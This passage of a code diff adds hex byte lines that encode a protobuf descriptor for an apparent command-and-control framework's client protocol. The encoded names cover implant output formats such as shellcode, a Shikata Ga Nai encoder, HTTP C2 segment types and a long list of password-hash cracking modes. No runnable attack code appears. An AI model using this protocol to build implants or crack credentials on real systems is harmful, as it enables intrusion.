+ 0x13, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x76, 0x69,
+ 0x64, 0x65, 0x72, 0x73, 0x12, 0x3a, 0x0a, 0x09, 0x70, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72,
+ 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
+ 0x70, 0x62, 0x2e, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f,
+ 0x76, 0x69, 0x64, 0x65, 0x72, 0x52, 0x09, 0x70, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x73,
+ 0x22, 0x72, 0x0a, 0x12, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x69, 0x6e, 0x67, 0x50, 0x72,
+ 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01,
+ 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02,
+ 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x41, 0x50,
+ 0x49, 0x4b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x41, 0x50, 0x49, 0x4b,
+ 0x65, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x41, 0x50, 0x49, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72,
+ 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x41, 0x50, 0x49, 0x50, 0x61, 0x73, 0x73,
+ 0x77, 0x6f, 0x72, 0x64, 0x22, 0x5a, 0x0a, 0x0a, 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65,
+ 0x49, 0x44, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02,
+ 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09,
+ 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03,
+ 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61,
+ 0x6c, 0x75, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65,
+ 0x2a, 0x5b, 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74,
+ 0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x48, 0x41, 0x52, 0x45, 0x44, 0x5f, 0x4c, 0x49, 0x42, 0x10, 0x00,
+ 0x12, 0x0d, 0x0a, 0x09, 0x53, 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x4f, 0x44, 0x45, 0x10, 0x01, 0x12,
+ 0x0e, 0x0a, 0x0a, 0x45, 0x58, 0x45, 0x43, 0x55, 0x54, 0x41, 0x42, 0x4c, 0x45, 0x10, 0x02, 0x12,
+ 0x0b, 0x0a, 0x07, 0x53, 0x45, 0x52, 0x56, 0x49, 0x43, 0x45, 0x10, 0x03, 0x12, 0x0f, 0x0a, 0x0b,
+ 0x54, 0x48, 0x49, 0x52, 0x44, 0x5f, 0x50, 0x41, 0x52, 0x54, 0x59, 0x10, 0x04, 0x2a, 0x2d, 0x0a,
+ 0x0d, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x07,
+ 0x0a, 0x03, 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x54, 0x54, 0x50, 0x10,
+ 0x01, 0x12, 0x09, 0x0a, 0x05, 0x48, 0x54, 0x54, 0x50, 0x53, 0x10, 0x02, 0x2a, 0x2d, 0x0a, 0x08,
+ 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x4e, 0x4f, 0x5f, 0x46,
+ 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42, 0x49, 0x4e, 0x41, 0x52, 0x59, 0x10,
+ 0x01, 0x12, 0x08, 0x0a, 0x04, 0x54, 0x45, 0x58, 0x54, 0x10, 0x02, 0x2a, 0x30, 0x0a, 0x10, 0x53,
+ 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12,
+ 0x08, 0x0a, 0x04, 0x4e, 0x4f, 0x4e, 0x45, 0x10, 0x00, 0x12, 0x12, 0x0a, 0x0e, 0x53, 0x48, 0x49,
+ 0x4b, 0x41, 0x54, 0x41, 0x5f, 0x47, 0x41, 0x5f, 0x4e, 0x41, 0x49, 0x10, 0x01, 0x2a, 0x35, 0x0a,
+ 0x11, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x54, 0x79,
+ 0x70, 0x65, 0x12, 0x08, 0x0a, 0x04, 0x50, 0x4f, 0x4c, 0x4c, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07,
+ 0x53, 0x45, 0x53, 0x53, 0x49, 0x4f, 0x4e, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x43, 0x4c, 0x4f,
+ 0x53, 0x45, 0x10, 0x02, 0x2a, 0x98, 0x13, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70,
+ 0x65, 0x12, 0x07, 0x0a, 0x03, 0x4d, 0x44, 0x35, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x03, 0x4d, 0x44,
+ 0x34, 0x10, 0x84, 0x07, 0x12, 0x08, 0x0a, 0x04, 0x53, 0x48, 0x41, 0x31, 0x10, 0x64, 0x12, 0x0d,
+ 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x32, 0x32, 0x34, 0x10, 0x94, 0x0a, 0x12, 0x0d, 0x0a,
+ 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xf8, 0x0a, 0x12, 0x0d, 0x0a, 0x08,
+ 0x53, 0x48, 0x41, 0x32, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xb0, 0x54, 0x12, 0x0d, 0x0a, 0x08, 0x53,
+ 0x48, 0x41, 0x32, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xa4, 0x0d, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48,
+ 0x41, 0x33, 0x5f, 0x32, 0x32, 0x34, 0x10, 0x94, 0x87, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48,
+ 0x41, 0x33, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xf8, 0x87, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48,
+ 0x41, 0x33, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xdc, 0x88, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48,
+ 0x41, 0x33, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xc0, 0x89, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x52, 0x49,
+ 0x50, 0x45, 0x4d, 0x44, 0x5f, 0x31, 0x36, 0x30, 0x10, 0xf0, 0x2e, 0x12, 0x10, 0x0a, 0x0b, 0x42,
+ 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xd8, 0x04, 0x12, 0x1a, 0x0a,
+ 0x15, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x32, 0x5f, 0x31, 0x31, 0x5f, 0x32, 0x30,
+ 0x31, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xb4, 0x5b, 0x12, 0x1a, 0x0a, 0x15, 0x47, 0x4f, 0x53,
+ 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x32, 0x5f, 0x31, 0x31, 0x5f, 0x32, 0x30, 0x31, 0x32, 0x5f, 0x35,
+ 0x31, 0x32, 0x10, 0x98, 0x5c, 0x12, 0x14, 0x0a, 0x0f, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f,
+ 0x33, 0x34, 0x5f, 0x31, 0x31, 0x5f, 0x39, 0x34, 0x10, 0xf4, 0x35, 0x12, 0x09, 0x0a, 0x03, 0x47,
+ 0x50, 0x47, 0x10, 0xf2, 0x84, 0x01, 0x12, 0x0d, 0x0a, 0x08, 0x48, 0x41, 0x4c, 0x46, 0x5f, 0x4d,
+ 0x44, 0x35, 0x10, 0xec, 0x27, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f,
+ 0x32, 0x32, 0x34, 0x10, 0xa4, 0x8a, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41,
+ 0x4b, 0x5f, 0x32, 0x35, 0x36, 0x10, 0x88, 0x8b, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43,
+ 0x43, 0x41, 0x4b, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xec, 0x8b, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b,
+ 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xd0, 0x8c, 0x01, 0x12, 0x0e, 0x0a,
+ 0x09, 0x57, 0x48, 0x49, 0x52, 0x4c, 0x50, 0x4f, 0x4f, 0x4c, 0x10, 0xd4, 0x2f, 0x12, 0x0c, 0x0a,
+ 0x07, 0x53, 0x49, 0x50, 0x48, 0x41, 0x53, 0x48, 0x10, 0xf4, 0x4e, 0x12, 0x0f, 0x0a, 0x0b, 0x4d,
+ 0x44, 0x35, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0x46, 0x12, 0x11, 0x0a, 0x0c,
+ 0x53, 0x48, 0x41, 0x31, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xaa, 0x01, 0x12,
+ 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c,
+ 0x45, 0x10, 0xbe, 0x0b, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x33, 0x38, 0x34, 0x5f, 0x55,
+ 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xf6, 0x54, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41,
+ 0x35, 0x31, 0x32, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xea, 0x0d, 0x12, 0x18,
+ 0x0a, 0x13, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x35, 0x31, 0x32, 0x5f, 0x50, 0x57,
+ 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0xe2, 0x04, 0x12, 0x18, 0x0a, 0x13, 0x42, 0x4c, 0x41, 0x4b,
+ 0x45, 0x32, 0x42, 0x5f, 0x35, 0x31, 0x32, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x10,
+ 0xec, 0x04, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c,
+ 0x54, 0x10, 0x0a, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f,
+ 0x50, 0x57, 0x10, 0x14, 0x12, 0x15, 0x0a, 0x10, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54,
+ 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0xd8, 0x1d, 0x12, 0x14, 0x0a, 0x0f, 0x4d,
+ 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x50, 0x57, 0x10, 0xfe,
+ 0x1c, 0x12, 0x0a, 0x0a, 0x05, 0x43, 0x52, 0x43, 0x33, 0x32, 0x10, 0xec, 0x59, 0x12, 0x0c, 0x0a,
+ 0x06, 0x43, 0x52, 0x43, 0x33, 0x32, 0x43, 0x10, 0xfc, 0xd9, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x43,
+ 0x52, 0x43, 0x36, 0x34, 0x4a, 0x6f, 0x6e, 0x65, 0x73, 0x10, 0xe0, 0xda, 0x01, 0x12, 0x11, 0x0a,
+ 0x0b, 0x4a, 0x41, 0x56, 0x41, 0x5f, 0x4f, 0x42, 0x4a, 0x45, 0x43, 0x54, 0x10, 0x8c, 0x92, 0x01,
+ 0x12, 0x0c, 0x0a, 0x06, 0x4d, 0x55, 0x52, 0x4d, 0x55, 0x52, 0x10, 0xe4, 0xc8, 0x01, 0x12, 0x0d,
+ 0x0a, 0x07, 0x4d, 0x55, 0x52, 0x4d, 0x55, 0x52, 0x33, 0x10, 0x98, 0xd9, 0x01, 0x12, 0x0e, 0x0a,
+ 0x09, 0x54, 0x48, 0x52, 0x45, 0x45, 0x5f, 0x44, 0x45, 0x53, 0x10, 0x94, 0x6e, 0x12, 0x08, 0x0a,
+ 0x03, 0x44, 0x45, 0x53, 0x10, 0xb0, 0x6d, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x31,
+ 0x32, 0x38, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa1, 0xce, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45,
+ 0x53, 0x5f, 0x31, 0x39, 0x32, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa2, 0xce, 0x01, 0x12, 0x11, 0x0a,
+ 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x32, 0x35, 0x36, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa3, 0xce, 0x01,
+ 0x12, 0x0f, 0x0a, 0x0a, 0x43, 0x48, 0x41, 0x5f, 0x43, 0x48, 0x41, 0x5f, 0x32, 0x30, 0x10, 0xa8,
+ 0x78, 0x12, 0x1f, 0x0a, 0x1a, 0x4c, 0x49, 0x4e, 0x55, 0x58, 0x5f, 0x4b, 0x45, 0x52, 0x4e, 0x45,
+ 0x4c, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x4f, 0x5f, 0x41, 0x50, 0x49, 0x5f, 0x32, 0x34, 0x10,
+ 0xa4, 0x71, 0x12, 0x0c, 0x0a, 0x07, 0x53, 0x4b, 0x49, 0x50, 0x5f, 0x33, 0x32, 0x10, 0xb4, 0x74,
+ 0x12, 0x14, 0x0a, 0x0f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f,
+ 0x4d, 0x44, 0x35, 0x10, 0xfc, 0x5c, 0x12, 0x15, 0x0a, 0x10, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32,
+ 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0xe0, 0x5d, 0x12, 0x17, 0x0a,
+ 0x12, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41,
+ 0x32, 0x35, 0x36, 0x10, 0x94, 0x55, 0x12, 0x17, 0x0a, 0x12, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32,
+ 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xc4, 0x5e, 0x12,
+ 0x0b, 0x0a, 0x06, 0x53, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xc4, 0x45, 0x12, 0x0b, 0x0a, 0x06,
+ 0x50, 0x48, 0x50, 0x41, 0x53, 0x53, 0x10, 0x90, 0x03, 0x12, 0x10, 0x0a, 0x0b, 0x54, 0x41, 0x43,
+ 0x41, 0x43, 0x53, 0x5f, 0x50, 0x4c, 0x55, 0x53, 0x10, 0xe4, 0x7d, 0x12, 0x0f, 0x0a, 0x0a, 0x53,
+ 0x49, 0x50, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x88, 0x59, 0x12, 0x0c, 0x0a, 0x07,
+ 0x49, 0x4b, 0x45, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xb4, 0x29, 0x12, 0x0d, 0x0a, 0x08, 0x49, 0x4b,
+ 0x45, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0x98, 0x2a, 0x12, 0x19, 0x0a, 0x13, 0x53, 0x4e, 0x4d,
+ 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x39, 0x36,
+ 0x10, 0x8c, 0xc4, 0x01, 0x12, 0x22, 0x0a, 0x1c, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f,
+ 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x39, 0x36, 0x5f, 0x5f, 0x53, 0x48, 0x41,
+ 0x31, 0x5f, 0x39, 0x36, 0x10, 0xa8, 0xc3, 0x01, 0x12, 0x1a, 0x0a, 0x14, 0x53, 0x4e, 0x4d, 0x50,
+ 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x39, 0x36,
+ 0x10, 0xf0, 0xc4, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f,
+ 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x32, 0x34, 0x5f, 0x31, 0x32, 0x38, 0x10,
+ 0xcc, 0xd0, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48,
+ 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x5f, 0x31, 0x39, 0x32, 0x10, 0xb0,
+ 0xd1, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d,
+ 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x33, 0x38, 0x34, 0x5f, 0x32, 0x35, 0x36, 0x10, 0x94, 0xd2,
+ 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41,
+ 0x43, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xa4, 0xd5, 0x01,
+ 0x12, 0x15, 0x0a, 0x10, 0x57, 0x50, 0x41, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x5f, 0x50, 0x42,
+ 0x4b, 0x44, 0x46, 0x32, 0x10, 0xc4, 0x13, 0x12, 0x12, 0x0a, 0x0d, 0x57, 0x50, 0x41, 0x5f, 0x45,
+ 0x41, 0x50, 0x4f, 0x4c, 0x5f, 0x50, 0x4d, 0x4b, 0x10, 0xc5, 0x13, 0x12, 0x1c, 0x0a, 0x16, 0x57,
+ 0x50, 0x41, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f,
+ 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x10, 0xf0, 0xab, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x57, 0x50, 0x41,
+ 0x5f, 0x50, 0x4d, 0x4b, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c,
+ 0x10, 0xf1, 0xab, 0x01, 0x12, 0x16, 0x0a, 0x10, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x49,
+ 0x44, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x10, 0xa0, 0x83, 0x01, 0x12, 0x13, 0x0a, 0x0d,
+ 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x50, 0x4d, 0x4b, 0x10, 0xa1, 0x83,
+ 0x01, 0x12, 0x19, 0x0a, 0x14, 0x49, 0x50, 0x4d, 0x49, 0x32, 0x5f, 0x50, 0x41, 0x4b, 0x50, 0x5f,
+ 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0x84, 0x39, 0x12, 0x0d, 0x0a, 0x08,
+ 0x43, 0x52, 0x41, 0x4d, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xd8, 0x4f, 0x12, 0x09, 0x0a, 0x03, 0x4a,
+ 0x57, 0x54, 0x10, 0xf4, 0x80, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x52, 0x41, 0x44, 0x4d, 0x49, 0x4e,
+ 0x5f, 0x33, 0x10, 0x90, 0xe4, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52,
+ 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0x90, 0x99,
+ 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37,
+ 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xd8, 0x9a, 0x01, 0x12, 0x14, 0x0a, 0x0e,
+ 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x44, 0x42, 0x10, 0x80,
+ 0xe1, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31,
+ 0x38, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0xf4, 0x99, 0x01, 0x12, 0x19, 0x0a,
+ 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x50, 0x52, 0x45,
+ 0x41, 0x55, 0x54, 0x48, 0x10, 0xbc, 0x9b, 0x01, 0x12, 0x14, 0x0a, 0x0e, 0x4b, 0x45, 0x52, 0x42,
+ 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x44, 0x42, 0x10, 0xe4, 0xe1, 0x01, 0x12, 0x1f,
+ 0x0a, 0x1a, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x53, 0x41,
+ 0x5f, 0x52, 0x45, 0x51, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xcc, 0x3a, 0x12,
+ 0x18, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x54,
+ 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0xac, 0x66, 0x12, 0x18, 0x0a, 0x12, 0x4b, 0x45, 0x52,
+ 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x41, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10,
+ 0x98, 0x8e, 0x01, 0x12, 0x10, 0x0a, 0x0b, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f,
+ 0x56, 0x31, 0x10, 0xfc, 0x2a, 0x12, 0x14, 0x0a, 0x0e, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c,
+ 0x4d, 0x5f, 0x56, 0x31, 0x5f, 0x4e, 0x54, 0x10, 0xf8, 0xd2, 0x01, 0x12, 0x10, 0x0a, 0x0b, 0x4e,
+ 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x32, 0x10, 0xe0, 0x2b, 0x12, 0x14, 0x0a,
+ 0x0e, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x32, 0x5f, 0x4e, 0x54, 0x10,
+ 0xdc, 0xd3, 0x01, 0x12, 0x0b, 0x0a, 0x05, 0x46, 0x4c, 0x41, 0x53, 0x4b, 0x10, 0xac, 0xe3, 0x01,
+ 0x12, 0x0f, 0x0a, 0x0a, 0x49, 0x53, 0x43, 0x53, 0x49, 0x5f, 0x43, 0x48, 0x41, 0x50, 0x10, 0xc0,
+ 0x25, 0x12, 0x09, 0x0a, 0x04, 0x52, 0x41, 0x43, 0x46, 0x10, 0xb4, 0x42, 0x12, 0x0d, 0x0a, 0x08,
+ 0x41, 0x49, 0x58, 0x5f, 0x53, 0x4d, 0x44, 0x35, 0x10, 0x9c, 0x31, 0x12, 0x0e, 0x0a, 0x09, 0x41,
+ 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x31, 0x10, 0xac, 0x34, 0x12, 0x10, 0x0a, 0x0b, 0x41,
+ 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x80, 0x32, 0x12, 0x10, 0x0a,
+ 0x0b, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xe4, 0x32, 0x12,
+ 0x07, 0x0a, 0x02, 0x4c, 0x4d, 0x10, 0xb8, 0x17, 0x12, 0x0d, 0x0a, 0x07, 0x51, 0x4e, 0x58, 0x5f,
+ 0x4d, 0x44, 0x35, 0x10, 0xb8, 0x94, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x51, 0x4e, 0x58, 0x5f, 0x53,
+ 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x9c, 0x95, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x51, 0x4e, 0x58,
+ 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0x80, 0x96, 0x01, 0x12, 0x19, 0x0a, 0x14, 0x44,
+ 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x31, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x31, 0x5f, 0x41, 0x4e,
+ 0x44, 0x5f, 0x32, 0x10, 0xc4, 0x77, 0x12, 0x13, 0x0a, 0x0e, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f,
+ 0x56, 0x31, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x33, 0x10, 0xce, 0x77, 0x12, 0x19, 0x0a, 0x14, 0x44,
+ 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x32, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x31, 0x5f, 0x41, 0x4e,
+ 0x44, 0x5f, 0x32, 0x10, 0x9c, 0x7c, 0x12, 0x13, 0x0a, 0x0e, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f,
+ 0x56, 0x32, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x33, 0x10, 0xa6, 0x7c, 0x12, 0x0b, 0x0a, 0x06, 0x47,
+ 0x52, 0x55, 0x42, 0x5f, 0x32, 0x10, 0xa0, 0x38, 0x12, 0x12, 0x0a, 0x0d, 0x4d, 0x53, 0x5f, 0x41,
+ 0x5a, 0x55, 0x52, 0x45, 0x5f, 0x53, 0x59, 0x4e, 0x43, 0x10, 0x80, 0x64, 0x12, 0x0f, 0x0a, 0x0a,
+ 0x42, 0x53, 0x44, 0x49, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xf0, 0x60, 0x12, 0x09, 0x0a,
+ 0x04, 0x4e, 0x54, 0x4c, 0x4d, 0x10, 0xe8, 0x07, 0x12, 0x0c, 0x0a, 0x07, 0x52, 0x41, 0x44, 0x4d,
